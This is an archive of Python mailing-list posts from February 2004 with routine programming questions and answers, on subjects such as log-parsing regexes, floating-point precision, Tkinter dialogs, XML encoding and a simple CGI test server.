References: <oqigg1-3nl.ln1@grendel.myth> <c149qh$33i$1@news.service.uci.edu>
	<t32hg1-u8n.ln1@grendel.myth>
Message-ID: <c15foq$css$1@news.service.uci.edu>

> thanks, although reading that re makes my brain hurt! :), and I don't
> think it handles the case where the dashes are something else (the dash
> is a place holder for some data that wasn't there on this request,
> bytelength, referrer, something) but I'll look into it, thanks for the
> example. 

It depends on which dash you were talking about.  The dash immediately 
after the response code is the number of bytes sent, and is handled by 
the regular expression.

Unless you use identd checks, the first '-' will always be there, though 
the second '-' is the identity of the client given through http auth, 
which may or may not be important to you.

Modifying the regular expression:
import re
rexp = re.compile('(\d+\.\d+\.\d+\.\d+) (-|\w*) (-|\w*) '
                   '\[([^\[\]:]+):(\d+:\d+:\d+) -(\d\d\d\d\)] '
                   '("[^"]*") (\d+) (-|\d+) ("[^"]*") (".*")\s*\Z')

a = rexp.match(line)
if not a is None:
     a.group(1) #IP address
     a.group(2) #identd response (if any)
     a.group(3) #http auth user
     a.group(4) #day/month/year
     a.group(5) #time of day
     a.group(6) #timezone
     a.group(7) #request
     a.group(8) #code 200 for success, 404 for not found, etc.
     a.group(9) #bytes transferred
     a.group(10) #referrer
     a.group(11) #browser
else:
     #this line did not match.


There you go.
  - Josiah


From soundwave56 at yahoo.ca  Wed Feb 11 18:20:41 2004
From: soundwave56 at yahoo.ca (Hank)
Date: 11 Feb 2004 15:20:41 -0800
Subject: Executing a file remotely
Message-ID: <731fc603.0402111520.717e763c@posting.google.com>

Hi, 

I was wondering how I would execute a file remotely? For example,
test.exe resides on machine A, my python script is running on Machine
B. I would like to execute "test.exe -parameters" on machine A from a
script running on machine B.

Does anyone know how to do this easily in python?

Thanks a lot.
Hank


From jcarlson at nospam.uci.edu  Sun Feb  8 02:00:10 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Sat, 07 Feb 2004 23:00:10 -0800
Subject: Python can't divide??!?!
In-Reply-To: <R3gVb.22428$3YE1.20881@news04.bloor.is.net.cable.rogers.com>
References: <mailman.1252.1076003166.12720.python-list@python.org>
	<87y8rgjlue.fsf@hydra.localdomain>
	<mailman.1326.1076131994.12720.python-list@python.org>
	<877jyyiy6d.fsf@hydra.localdomain>
	<R3gVb.22428$3YE1.20881@news04.bloor.is.net.cable.rogers.com>
Message-ID: <c04mu6$g75$1@news.service.uci.edu>

Axle wrote:
> Yes, python can divide... use the / operator

He was referring to the inaccuracy of binary vs. decimal 
representations.  Most Computer Science students don't learn about it 
until sophomore year of college in their computer architectures class.


3.0 / 5.0 -> .6 in decimal.

When we're dealing with floating point arithmetic in Python (or any 
other language that uses IEEE 754 double-precision floating point 
representations), 3.0 / 5.0 is internally represented as:
0011111111100011001100110011001100110011001100110011001100110011

If we then convert that back into decimal, we get .59999999999999998.

Binary representation thanks to: 
http://babbage.cs.qc.edu/courses/cs341/IEEE-754.html

  - Josiah


From timothy.williams at nvl.army.mil  Tue Feb 24 12:55:38 2004
From: timothy.williams at nvl.army.mil (Tim Williams)
Date: 24 Feb 2004 09:55:38 -0800
Subject: tkFileDialog different between Linux and Windows
Message-ID: <faf44c99.0402240955.4613fd6a@posting.google.com>

I'm using Python 2.3.2 and tkFileDialog in a program I have. I'm
trying to use this on Linux (RH 8.0) and Windows 2000. When I first
upgraded from v2.2 to v2.3. I noticed that
tkFileDialog.askopenfilename() returns a tuple on Cancel instead of 
''. I found that the Windows version still returns a string (''). Now
I'm finding out that tkFileDialog.Directory().show() does this too.

>>> d1=tkFileDialog.Directory().show()
>>> d2=tkFileDialog.Directory().show()
>>> type(d1),type(d2)
(<type 'tuple'>, <type '_tkinter.Tcl_Obj'>)
>>> d2
<path object at 0x08295a48>
>>> d2
<path object at 0x08295a48>


d1 is the result of a Cancel, d2 is the result of a Ok.

>>> dir(d1)
['__add__', '__class__', '__contains__', '__delattr__', '__doc__',
'__eq__', '__ge__', '__getattribute__', '__getitem__',
'__getnewargs__', '__getslice__', '__gt__', '__hash__', '__init__',
'__iter__', '__le__', '__len__', '__lt__', '__mul__', '__ne__',
'__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmul__',
'__setattr__', '__str__']

>>> dir(d2)
['__class__', '__cmp__', '__delattr__', '__doc__', '__getattribute__',
'__hash__', '__init__', '__new__', '__reduce__', '__reduce_ex__',
'__repr__', '__setattr__', '__str__', '__unicode__', 'string',
'typename']


I thought this was a Tk8.3 vs Tk8.4 problem, so I put in a check:

        d = tkFileDialog.Directory().show()
        if TkVersion < 8.4:
            outdir=d
        else:
            outdir=d.string
        if d : self.setoutpath(outdir)

Then when I tried this on a Windows machine, it turns out that
tkFileDialog.Directory().show() still returns a string when TkVersion
is 8.4

How can I check tkFileDialog to do the "right" thing?  All I want is
the string that contains the path, but I want this to work on both
Linux and Windows.

Thanks.


From has.temp at virgin.net  Sun Feb 22 13:59:51 2004
From: has.temp at virgin.net (has)
Date: 22 Feb 2004 10:59:51 -0800
Subject: Complex Nested Dictionaries
References: <40354c35@news.bmi.net>
Message-ID: <73c38014.0402221059.7f92fa4f@posting.google.com>

"T. Earle" <tnospamwade at bmi.net> wrote in message news:<40354c35 at news.bmi.net>...
> To list,
> 
> I'm trying to figure out the best approach to the following problem:
> 
> I have four variables:
>    1) headlines
>    2) times
>    3) states
>    4) zones
> 
> At this time, I'm thinking of creating a dictionary, headlinesDB, that
> stores different headlines and their associated time(s), state(s), and
> zone(s). The complexity is that each headline can have one or more times,
> one or more states, and one or more zones.  However, there can only be 1
> zone per time, and 1 zone per state.  What is the best way to tackle this
> particular problem?

Shake out non-essential complexity first. Not really up on relational
DBs and stuff, so take my attempts at table design with a pinch of
salt, but think I'd break your problem down something like this:


- Hazard Type Table
   TYPE
   High Wind Warning
   Tornado Warning
   Blizzard Warning

- Hazard Event Table
   ID   TYPE                START                  END                
   ZONES
   1    High Wind Warning   2004-03-01-22-00-00   2004-03-02-08-00-00 
 [ORZ047, ORZ048, ORZ049]
   2    High Wind Warning   2004-03-02-12-00-00   2004-03-02-20-00-00 
 [ORZ044, WAZ028]

- Zone Table
   ZONE     STATE
   ORZ044   Oregon
   ORZ047   Oregon
   ORZ048   Oregon
   ORZ049   Oregon
   WAZ028   Washington


Note this organises around individual hazard 'events', rather than
hazard types, making it easier to think see what's going on. Also,
because Zones already identify their States, there's no need to put
State info into hazard events. (State names, if you need them, can be
looked up separately.)

How you actually implement it - as a relational DB/a list of
HazardEvent instances stuffed into a list and brute-force searched via
list comprehensions/nested dicts and lists - really depends on how
you're going to manipulate it, how much flexibility/simplicity you
need, etc.

HTH

has


From fumanchu at amor.org  Mon Feb 23 19:52:59 2004
From: fumanchu at amor.org (Robert Brewer)
Date: Mon, 23 Feb 2004 16:52:59 -0800
Subject: Python scripts in IIS
Message-ID: <DE1CF2B4FEC4A342BF62B6B2B334601E561D98@opus.amorhq.net>

Matt Gerrans wrote:
> "Robert Brewer" wrote:
> 
> > Several people know what this is about, and have collected their
> > combined wisdom into a new and powerful tool called "Google". I have
> > "power user" rights on this "Google" thing, and will let 
> you click on
> > this link for a modest fee: ...
> 
> This made me laugh out loud.   I hope it's not copyrighted, 
> I'd like to add
> it to my arsenel.   :-)

I hereby grant you rights to copy this as you see fit.


Robert Brewer
MIS
Amor Ministries
fumanchu at amor.org



From jgrahn-nntq at algonet.se  Sat Feb 14 05:38:27 2004
From: jgrahn-nntq at algonet.se (Jorgen Grahn)
Date: Sat, 14 Feb 2004 10:38:27 +0000 (UTC)
Subject: 6 Qustions about Python: Does it do GUI?  more...
References: <mailman.11.1076682913.31398.python-list@python.org>
Message-ID: <slrnc2rui2.eoi.jgrahn-nntq@frailea.sa.invalid>

On Fri, 13 Feb 2004 14:30:29 -0000, Will <k4bda at yahoo.com> wrote:
> I just discovered Python and looked briefly at one of the tutorials 
> for beginners...
...
> 6 - Why another language? Easier than C or C++ or Visual C ?? More 
> powerful than Visual Basic or the competing Borland productg?? Why 
> Python?

Why *not* another language?  Of the ones you mentioned, only C and C++
are freely available and widespread over multiple platforms -- and they
are very different from python and solve different problems.

(Your mileage may vary.  I don't care about GUIs (although you have a point
there about non-native Windows GUIs being painful), and I don't care to
learn anything I cannot apply under Unix.)

/Jorgen

-- 
  // Jorgen Grahn <jgrahn@      ''If All Men Were Brothers,
\X/                algonet.se>    Would You Let One Marry Your Sister?''


From piet at cs.uu.nl  Fri Feb 27 18:37:38 2004
From: piet at cs.uu.nl (Piet van Oostrum)
Date: 28 Feb 2004 00:37:38 +0100
Subject: remove BOM from string read from utf-8 file
References: <c1nfem$hs5$04$1@news.t-online.com> <wzoerkinig.fsf@Ordesa.local>
	<c1no8s$hg9$05$1@news.t-online.com>
Message-ID: <wzfzcwhz5p.fsf@Ordesa.local>

>>>>> "Achim Domma" <domma at procoders.net> (AD) wrote:

AD> "Piet van Oostrum" <piet at cs.uu.nl> wrote in message
AD> news:wzoerkinig.fsf at Ordesa.local...

>> Check text[0] and len(text) to verify.

AD> That's what I did. The file contains 24 chinese characters and len(text) is
AD> 25. And 0xef is the hex code for the BOM if I'm not completely wrong.

Sorry, I was wrong.
You have to check for text.startswith(u'\ufeff')

-- 
Piet van Oostrum <piet at cs.uu.nl>
URL: http://www.cs.uu.nl/~piet [PGP]
Private email: P.van.Oostrum at hccnet.nl


From atmo at go2.pl  Sun Feb 22 10:16:38 2004
From: atmo at go2.pl (Ringwraith)
Date: Sun, 22 Feb 2004 16:16:38 +0100
Subject: online cookbook recipes
Message-ID: <c1ahek$cth$1@nemesis.news.tpi.pl>

Hello!

I want to ask You the question about the licence of ASPN online Python
Cookbook recipes. Under what licence are those recipes. If I want to use in
my application some parts of the code from some recipe, should I place a
statement saying who the author is, etc.?

Best Regards,

Niki




From jhefferon at smcvt.edu  Wed Feb 18 17:28:15 2004
From: jhefferon at smcvt.edu (Jim Hefferon)
Date: 18 Feb 2004 14:28:15 -0800
Subject: doc.toxml() gives ASCII encoding error
Message-ID: <545cb8c2.0402181428.5e0487fd@posting.google.com>

Hello,

I'm having trouble with .xml files that have non-ascii characters. 
Here is a small example.

................................
#!/usr/bin/python2.2
import sys, os, os.path, re
import xml.dom.minidom

doc=xml.dom.minidom.parse(sys.argv[1])
print doc.toxml()
...............................

On an .xml that contains only ascii characters, it works just fine. 
But in one of my documents is the string
       <name>Martin Schr&#246;der</name>
and running the above script on that file gives:
  Traceback (most recent call last):
    File "/home/web/catalogue_read.py", line 6, in ?
      print doc.toxml()
  UnicodeError: ASCII encoding error: ordinal not in range(128)

I had the idea that the parser reads the xml declaration in the .xml
file (it is UTF-8), encodes the text parts into whatever is the
internal representation for unicode, and then .toxml sends it back out
again as a python unicode string.  But I can't reconcile that idea
with this outcome.

I'm simply lost; can anyone tell me what (no doubt clueless) thing
that I am
doing wrong?  I'm running under Fedora, so I have python 2.2, if
that's any help.

Thanks,
Jim


From feb04.20.netman at spamgourmet.com  Thu Feb 19 15:05:01 2004
From: feb04.20.netman at spamgourmet.com (Chris)
Date: Thu, 19 Feb 2004 20:05:01 GMT
Subject: UniqueObject pattern
Message-ID: <NF8Zb.36209$M8.34888@nwrdny02.gnilink.net>

I have an application that creates a lot of objects that are initialized by
parsing a string.  In many cases, the initalization strings are duplicated
many times, which results in a lot of duplicate objects being created at
runtime.  I originally utilized a factory to generate new object instances,
but it was a pain to write a new factory for each object tpye.  So I created
a class called UniqueObject, and subclassed all my objects with it.

import weakref

class UniqueObject(object):
    __instances = weakref.WeakValueDictionary()
    def __new__(cls, source):
        return cls.__instances.setdefault(source,
                            super(UniqueObject, cls).__new__(cls, source))

    def getSource(self):
        return self.__class__.__instances.keys()[
            self.__class__.__instances.values().index(self)]

This insured that duplicate strings would not result in the creation of
duplicate objects, and I could us "is" for comparisons instead of having to
define an "__eq__".

>>> class X(UniqueObject):
    def __init__(self, source):
        pass

>>> x1, x2, x3, x4 = X('spam'), X('spam'), X('eggs'), X('spam')
>>> x1 is x2
True
>>> x2 is x3
False
>>> x1 != x3
True
>>> x3 is not x4
True
>>> x1 in (x4,)
True
>>> x1.getSource()
'spam'

Am I reinventing the wheel here?  Is there a way to accomplish the same
thing in a built-in, or more Pythonic way?

Chris




From russelllear at earthlink.net  Thu Feb 12 23:26:34 2004
From: russelllear at earthlink.net (Russell Lear)
Date: Fri, 13 Feb 2004 04:26:34 GMT
Subject: Printing from wxPython
Message-ID: <_lYWb.2198$WW3.1966@newsread2.news.pas.earthlink.net>

Hi,

I'm trying to print images (tiff mainly, but images in general) from my
wxPython-based application without a lot of success.  The demo shows how to
use the print dialog to get everything set up, but doesn't quite get to the
point of printing.

I've looked through some of the wxPython.lib.printout stuff and I suspect it
is there - but I'm not getting it.

Can anyone point me to documentation or working code?

Thanks for the help,
Russell.



From maxm at mxm.dk  Tue Feb  3 05:57:15 2004
From: maxm at mxm.dk (Max M)
Date: Tue, 03 Feb 2004 11:57:15 +0100
Subject: Python Dict problems
In-Reply-To: <mailman.1157.1075798762.12720.python-list@python.org>
References: <mailman.1157.1075798762.12720.python-list@python.org>
Message-ID: <401F7E8B.1050807@mxm.dk>

venu gopal wrote:

> iam finding great difficulty in handling a two-dimentional dictionary or 
> any other similar data structure for the following purpose:
> from a collection of words,i need to have the count of each word so if i 
> use:
>                    str=f.getline()
>                    for l in range(flen):
>                          if subs[l].has_key(str):
>                                  subs[l][str]=1
>                          else:
>                                  subs[l][str]+=1


If it is a smalish file::

     content = f.read()
     result = {}
     for word in words:
         result[word] = content.count(word)

For big files::

     result = {}
     for l in f:
         for word in words:
             result[word] = result.get(word, 0) + l.count(word)


There are probably faster methods using re, where the counting is done 
by the reg-ex engine.


regards Max M


From dw-google.com at botanicus.net  Sat Feb 14 21:22:18 2004
From: dw-google.com at botanicus.net (David M. Wilson)
Date: Sun, 15 Feb 2004 02:22:18 +0000
Subject: opinion for newbie code
In-Reply-To: <pan.2004.02.14.20.53.55.491882@no.mail.it>
References: <pan.2004.02.14.20.53.55.491882@no.mail.it>
Message-ID: <402ed7e4$0$7074$ed9e5944@reading.news.pipex.net>

robsom wrote:

> 3.	row = line.replace(" ","").replace(";","").replace("\n","").split(":")

> Question n.1: what do you think of statement number 3? it works but I
> kind of suspect it is not the best way to do it.

It is common practise, that's not to say it's good practise. An 
alternative way of doing this might be:

	row = re.split(r'[\s;:]+', line)

If you have never encountered regular expressions before, then lucky 
you. They do have a tendancy to be efficient, and thats probably the 
only time you should need them.

To save you a years' Googling, here's what the above does:

	[\s;:]
	Match any character that is whitespace (\s), a semicolon, or
	a colon.

	+
	One or more times.

	re.split(pattern, data)
	Split <data> at every occurrence of <pattern>, returning the
	result as a list.


For added performance, using "compiled = re.compile(pattern)", then 
passing <compiled> instead of <pattern> will increase speed.


David.



From wmgill at gcgroup.net  Mon Feb 23 18:20:39 2004
From: wmgill at gcgroup.net (William D. Gill)
Date: Mon, 23 Feb 2004 18:20:39 -0500
Subject: using CGIHTTPserver to test html forms
References: <55125$403a17df$42a655ea$9537@msgid.meganewsservers.com>
	<mailman.209.1077551086.27104.python-list@python.org>
	<30ea7$403a277d$42a655ea$10432@msgid.meganewsservers.com>
Message-ID: <741ac$403a8b68$42a655ea$17499@msgid.meganewsservers.com>

Sorry it took so long to get back.  That worked fine.

I may wrap things up in something like the pydocgui so that I can select
different documents, and shut it down more gracefully.  If I do, I'll post
the code.

Thanks again,

Bill

"William D. Gill" <wmgill at gcgroup.net> wrote in message
news:30ea7$403a277d$42a655ea$10432 at msgid.meganewsservers.com...
> I'll try it and let you know.
>
> Thanks,
>
> Bill
>
> "bblochl" <bblochl at fh-lausitz.de> wrote in message
> news:mailman.209.1077551086.27104.python-list at python.org...
> > William D. Gill schrieb:
> >
> > >I use a notebook (win 98) because of its portability.  Unfortunately it
> is
> > >very slow.  When I try to develop and test python cgi scripts I use
> Xitami
> > >as a local server, but with python, Xitami, and my text editor running
it
> > >becomes next to impossible to work.  The keyboard and mouse are slowed
to
> > >painful levels.  Actual execution of the webpage/script is tolerable,
but
> to
> > >edit I have to stop the server.  I was wondering if using CGIHTTPserver
> > >would be a better solution and if anyone can give me an example script
> > >(simple enough for a newbie).  Every reference I see to CGIHTTPserver
> says
> > >it's good for testing your web forms, but they don't show me how.
> > >
> > >Thanks
> > >
> > >Bill
> > >
> > >
> > >
> > >
> > >
> > >
> > #httpd.py
> >
> > from BaseHTTPServer import HTTPServer
> > from CGIHTTPServer import CGIHTTPRequestHandler
> > serveradresse = ("",8080)
> > server = HTTPServer(serveradresse, CGIHTTPRequestHandler)
> > server.serve_forever()
> >
> > I have tried that on Win2k starting in the editor Window of IDle and
> > Python will hang. (On other systems it works ok - I have not found the
> > reason yet!) On my linux- system I have no problems of that kind. On a
> > Windows-network I couldn`t get it to work at all.
> >
> > On my test-sytem (Win2k) it works well, if you start it from a
> > DOS-Window from the DOS-Prompt by typing
> > python  httpd.py
> > The html-files must be in the same directory a s the file httpd.py.
> > cgi-files must reside in a subdirectory namend cgi-bin.
> >
> > To test for instance the html-file name.html, you start the local server
> > by typing http://localhost:8080/name.html  (or 127.0.0.1:8080/name.html)
> > in the browser  adress line.
> >
> > Best regards and good luck!
> > Bernhard
> >
> >
> >
>
>




From jcarlson at nospam.uci.edu  Sat Feb 28 22:48:30 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Sat, 28 Feb 2004 19:48:30 -0800
Subject: No Thoughts about Everything
In-Reply-To: <k6a%b.23161$M8.2517662@news4.srv.hcvlny.cv.net>
References: <mailman.106.1077724046.8594.python-list@python.org>
	<%C7%b.22026$M8.2005242@news4.srv.hcvlny.cv.net>
	<c1j7u2$p08$1@news.service.uci.edu>
	<k6a%b.23161$M8.2517662@news4.srv.hcvlny.cv.net>
Message-ID: <c1rnjg$p6r$2@news.service.uci.edu>

> I don't think the behavior of property() is even officially defined for 
> old-style classes.

Very good point.  I think I'm going to need to play with properties next 
weekend.

  - Josiah


From noemail at noemail4u.com  Mon Feb 23 10:31:31 2004
From: noemail at noemail4u.com (Dang Griffith)
Date: Mon, 23 Feb 2004 15:31:31 GMT
Subject: if statements with or w/o else statements
References: <c1cvan$80l$1@solaris.cc.vt.edu>
	<mailman.202.1077545025.27104.python-list@python.org>
Message-ID: <de935ec2674b28c05490c0f6f6610d42@news.teranews.com>

On Mon, 23 Feb 2004 08:03:40 -0600, Mark McEahern <mark at mceahern.com>
wrote:
>That is, e.g., you're testing for a pre-condition that, if false,
>indicates failure.  In that case, NOT having an else statement is likely
>to mask subtle bugs and it's probably better to have:
>
>if preCondition:
>  doSomething()
>else:
>  raise RuntimeError('X must be true.')
>
>which itself can be expressed differently so that you don't need the
>else, e.g.,
>
>if not preCondition:
>  raise RuntimeError(...)
>doSomething()
In general, I recommend avoiding "negative" test conditions like this.
However, I recommend them for testing preconditions at the start (or
as early as possible) of a method.  When there are multiple,
related/dependent preconditions, using positive tests can lead to
having the *useful* code nested in a confusing bunch of conditions.

Using a linear sequence of negative test conditions at the top makes
it more clear that it is indeed the preconditions being tested
(because the code exits/returns/raises when the condition is true),
rather than business logic.  Plus, the business logic is not
unnecessarily indented, which also help avoid long lines wrapping
(your editor and printer prefences may vary).
    --dang


From davide_bozza at hotmail.com  Fri Feb 20 09:05:44 2004
From: davide_bozza at hotmail.com (Davide)
Date: 20 Feb 2004 06:05:44 -0800
Subject: Python + Visual Basic
Message-ID: <54073b3d.0402200605.1e2f00d1@posting.google.com>

Hi,
I am just a beginner with Python and I am interested to know
if someone used it to build COM components while GUI was made
in VB in a "real" application.
I made some experiments and results are good so I would like
to know if it is all OK or someone faced to some unexpected problems.
Thanks.
Davide


From rabbits77.nospam at bigmailbox.net  Wed Feb 25 02:09:46 2004
From: rabbits77.nospam at bigmailbox.net (rabbits77)
Date: Wed, 25 Feb 2004 07:09:46 GMT
Subject: problem in appending a path to sys.path
In-Reply-To: <f046efac.0402242237.3734ee75@posting.google.com>
References: <f046efac.0402242237.3734ee75@posting.google.com>
Message-ID: <_SX_b.6372$fL4.3257@nwrddc01.gnilink.net>

>>>>sys.path.append(r'D:\Python23\Lib\site-packages\code')
>>>>sys.path
> 
> ['D:\\PYTHON23', 'D:\\PYTHON23\\Lib\\idlelib',
> 'D:\\WINNT\\system32\\python23.zip',
> 'D:\\PYTHON23\\lib\\site-packages\\Pythonwin',
> 'D:\\PYTHON23\\lib\\site-packages\\win32',
> 'D:\\PYTHON23\\lib\\site-packages\\win32\\lib',
> 'D:\\PYTHON23\\lib\\site-packages', 'D:\\Python23\\DLLs',
> 'D:\\Python23\\lib', 'D:\\Python23\\lib\\plat-win',
> 'D:\\Python23\\lib\\lib-tk', 'D:\\Python23',
> 'D:\\Python23\\Lib\\site-packages\\code']
> 
> But when I close the shell and now again open it & do sys.path , it
> doesnt show the path I last appended. i.e
> 
> 
>>>>import sys
>>>>sys.path
> 
> ['D:\\PYTHON23', 'D:\\PYTHON23\\Lib\\idlelib',
> 'D:\\WINNT\\system32\\python23.zip',
> 'D:\\PYTHON23\\lib\\site-packages\\Pythonwin',
> 'D:\\PYTHON23\\lib\\site-packages\\win32',
> 'D:\\PYTHON23\\lib\\site-packages\\win32\\lib',
> 'D:\\PYTHON23\\lib\\site-packages', 'D:\\Python23\\DLLs',
> 'D:\\Python23\\lib', 'D:\\Python23\\lib\\plat-win',
> 'D:\\Python23\\lib\\lib-tk', 'D:\\Python23']
> 
> What am I doing wrong here??
sys.path changed for the same reason why if you set
a="puke"
in the interpreter and then closed the shell and restarted the 
interpreter, the variable a would have no value!!
You are not making a permanent change to sys.path using sys.append!!
I think you really want to modify the PYTHONPATH environment variable, 
I'd guess.



From deets_noospaam at web.de  Tue Feb 24 17:59:37 2004
From: deets_noospaam at web.de (Diez B. Roggisch)
Date: Tue, 24 Feb 2004 23:59:37 +0100
Subject: problem with struct module
References: <20040224162855.5a0a0d33.secchi@sssup.it>
	<mailman.48.1077642123.8594.python-list@python.org>
Message-ID: <c1gl0p$hg7$07$1@news.t-online.com>

> Is there a way to say to implement in the format the statement "start
> at the 76th position e return a string of length 3" ?

data[76:76+3]

-- 
Regards,

Diez B. Roggisch


From michael at foord.net  Mon Feb  9 13:42:00 2004
From: michael at foord.net (Fuzzyman)
Date: 9 Feb 2004 10:42:00 -0800
Subject: Nappy Clog Month.........
Message-ID: <8089854e.0402091042.691176e5@posting.google.com>

Nappy clog month... no, not the usual USENET abuse - it's an anagram
of comp.lang.python......


http://www.voidspace.org.uk/atlantibots/nanagram.html

An anagram finder with Tkinter front end in less than 20k of python -
yep another great way to avoid working...
mix up the names of friends and colleagues, great fun.

Did you know that George W Bush is an anagram of 'whose bugger' ?
Saddam Hussein - 'disused shaman'
Neil Gaiman - 'lain enigma'.....
Tony Blair - 'rainy blot'.....
Mother Theresa - 'earths theorem'....

I'm particularly proud of this as it is my first working python
program,
is very fast and neat with a lovely user interface - let's you set the
minimum number of letters in the output (to prune the results),
specify anagrams containing a particular word... save the resutls
etc.....

This is version 1.1 (some of you have seen 1.0) - you can now load new
dictionaries (I've included a couple of smaller ones which make
Nangram
zip-along even faster and made some much bigger ones available for
download as well) and I've improved the speed again....


There's also an online CGI version at :

http://www.voidspace.xennos.com/nanagram-CGI.html 

although it needs a little work - at teh moment it won't output any
results until the script has finished executing - this is probably the
fault of the server... but I'm sure it's possible to change this
behaviour - but I've only seen examples in Perl :-(


Ta
Fuzzyman
( fuzzyman AT atlantibots DOT org DOT uk )
http://www.voidspace.org.uk/atlantibots/pythonutils.html


From peter at engcorp.com  Thu Feb 19 19:00:53 2004
From: peter at engcorp.com (Peter Hansen)
Date: Thu, 19 Feb 2004 19:00:53 -0500
Subject: GUI application death catcher?
References: <lcisi4ezli.fsf@gaffa.mit.edu> <40342563.BA2866BF@engcorp.com>
	<lc65e2lkbe.fsf@gaffa.mit.edu>
Message-ID: <40354E35.559042AF@engcorp.com>

Douglas Alan wrote:
> 
> Peter Hansen <peter at engcorp.com> writes:
> 
> > This sounds a lot like you are writing this without proper unit tests.
> > If that's true, and if you really have to run this on a Windows machine,
> > then god help you...
> 
> I do do unit tests, but unit tests for GUI code and I/O are not so
> easy.

Well, much easier for I/O than for GUI, but you've got a point.  In that
case, the best advice is to decouple the parts of the problem from each
other.  If the GUI can't be easily tested, split it out so that a failure
of the GUI cannot prevent the original exception information from being
lost.  In fact, making the GUI a separate program (as I think you might
have suggested before) is a very good idea, since then you can concentrate
on getting the failure data safely stored into a file in the original
program's error handler.

I'm puzzled though.  Are you really expecting these astronauts, brilliant
godlike creatures though they must be, to understand Python exception
tracebacks and modify the source to fix the problems?  Or are there
some extra levels of translation involved here, or is the guy running
this going to be the second Python programmers in space? :-)

> > Go with something really really simple, and if you want to take a
> > stab at a more sophisticated (read complicated) arrangement, at
> > least put it inside the really simple handler that you write first
> > and test really well.
> 
> Sure, but really, really simple is nothing more than a pop-up saying,
> "The program died", and that's not much more useful than if the app
> just disappears, or puts up one of the indecipherable-to-the-layperson
> dialog boxes that Tkinter likes to put up when there's an uncaught
> exception.

Well, true, but "The program died.  Check traceback information stored
in log file." is infinitely better than the app just disappearing, yet
it won't be too hard to make sure that the code that generates this 
dialog cannot reasonably fail.

-Peter


From deets_noospaam at web.de  Mon Feb  2 11:13:43 2004
From: deets_noospaam at web.de (Diez B. Roggisch)
Date: Mon, 02 Feb 2004 17:13:43 +0100
Subject: Close Threading
References: <mailman.1120.1075723206.12720.python-list@python.org>
	<bvlper$sd1$1@nsnmrro2-gest.nuria.telefonica-data.net>
Message-ID: <bvlsvn$l8m$04$1@news.t-online.com>

> I have a small question now.
> what can i do to close a socket proccess?
>     server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
> 
> there is a any method for close the socket ?

server.close()

But you definitely should look at the python twisted framework for creating
networking-based software.

Regards,

Diez


From Pieter.Claerhout at Creo.com  Wed Feb 18 07:45:21 2004
From: Pieter.Claerhout at Creo.com (Pieter Claerhout)
Date: Wed, 18 Feb 2004 13:45:21 +0100
Subject: How to use Python + PygreSQL on a WinXP system
Message-ID: <490316A24CC5D411ACD700B0D078F7F003915EC0@cseexch01.cse.creoscitex.com>

I'm using the PyPgSQL module for connecting Python to Postgres and have used
it with great success on Windows 2000/XP. You can download it from:

http://pypgsql.sourceforge.net/

Cheers,


pieter

Creo
pieter claerhout | product support prinergy | tel: +32 2 352 2511 |
pieter.claerhout at creo.com | www.creo.com

IMAGINE CREATE BELIEVE(tm)


-----Original Message-----
From: python-list-bounces+pieter.claerhout=creo.com at python.org
[mailto:python-list-bounces+pieter.claerhout=creo.com at python.org] On Behalf
Of urgur at home.ro
Sent: 16 February 2004 16:16
To: python-list at python.org
Subject: How to use Python + PygreSQL on a WinXP system


Hi,

I want to use the PygreSQL modules on a Windows machine (more exactly
a WinXP one). I've downloaded the latest version (3.4 so far) and I am
required to build the pgmodule C library. Is there a way to avoid
this? I need to install this on many user systems and it would be very
hard to do.

Is there a compiled package available for this? Or an easier way to
install this package?

Thanks in advance,

Radu Stanciu
-- 
http://mail.python.org/mailman/listinfo/python-list



From donn at u.washington.edu  Mon Feb  2 19:28:29 2004
From: donn at u.washington.edu (Donn Cave)
Date: Mon, 02 Feb 2004 16:28:29 -0800
Subject: Python vs. Io
References: <mailman.1089.1075613103.12720.python-list@python.org>
	<1075659536.765710@yasure>
	<mailman.1108.1075669832.12720.python-list@python.org>
	<1075702864.490920@yasure>
	<153fa67.0402021548.6c5e394@posting.google.com>
Message-ID: <donn-6022C3.16282902022004@nntp4.u.washington.edu>

In article <153fa67.0402021548.6c5e394 at posting.google.com>,
 kylotan at hotmail.com (Kylotan) wrote:

> "Donn Cave" <donn at drizzle.com> wrote in message 
> news:<1075702864.490920 at yasure>...
> 
> > But if the feed function had been outside this hierarchy, we would
> > be writing instead
> >    feed(parser, data)
> > 
> > Why isn't that a violation of the object abstraction?  Simply make
> > it generic and let the above notation serve in either case, and you
> > don't have to know the implementation in order to use it.

> From my point of view (C++ and general OOP background) this comes down
> to access privileges and the visible implications of the code.
> 
> feed(parser, data) implies that feed has equal access privileges to
> both parser and data, and that parser and data are unchanged by the
> operation. It's vaguely saying "I want something to happen based on
> parser and data".
> 
> parser.feed(data) implies that feed has enhanced access privileges to
> parser compared to its access to data. In particular it implies that
> parser maintains some sort of state and that data is just an argument.
> It's saying "I want parser to do something based on data".
> 
> In Python this is mainly just a semantic issue since you don't have
> the rigorous public/private/protected system that C++ does. But it
> does usually provide useful hints as to what the main object in any
> given interaction is. (ie. distinguishing between controller and
> entity classes, in UML terms.) Of course, it's entirely a religious
> matter in much the same way as arguing for a clear distinction between
> functions and subroutines would be. Just different ways of looking at
> it to suit different thought processes.

I think that's what I meant by violating the abstraction.
Aren't these issues only for the author of the parser?
Why do you want to know what privileges feed has with
one parameter vs. another?  Isn't it enough that it works?

   Donn Cave, donn at drizzle.com


From tkpmep at hotmail.com  Mon Feb 23 13:41:32 2004
From: tkpmep at hotmail.com (Thomas Philips)
Date: 23 Feb 2004 10:41:32 -0800
Subject: Case sensitive file names
References: <mailman.185.1077503065.27104.python-list@python.org>
Message-ID: <b4a8ffb6.0402231041.40dd5c9d@posting.google.com>

Thanks for all the help, everyone - the raw string solution seems the
most practical, and it raises one final question: If I define a string
x = "c:\python23\programs\test.txt"

How can I force open() or file() to treat it as a raw string. I expect
to use a command of the form
open(rx) or open(r"x") or open("r"+x)
but none of these forms work.


From Scott.Daniels at Acm.Org  Mon Feb  9 16:13:07 2004
From: Scott.Daniels at Acm.Org (Scott David Daniels)
Date: Mon, 09 Feb 2004 13:13:07 -0800
Subject: Clearing IDLE's screen?
In-Reply-To: <87k72x73oj.fsf@hydra.localdomain>
References: <4f0a9fdb.0402080107.3800b86e@posting.google.com>
	<87k72x73oj.fsf@hydra.localdomain>
Message-ID: <40280174$1@nntp0.pdx.net>

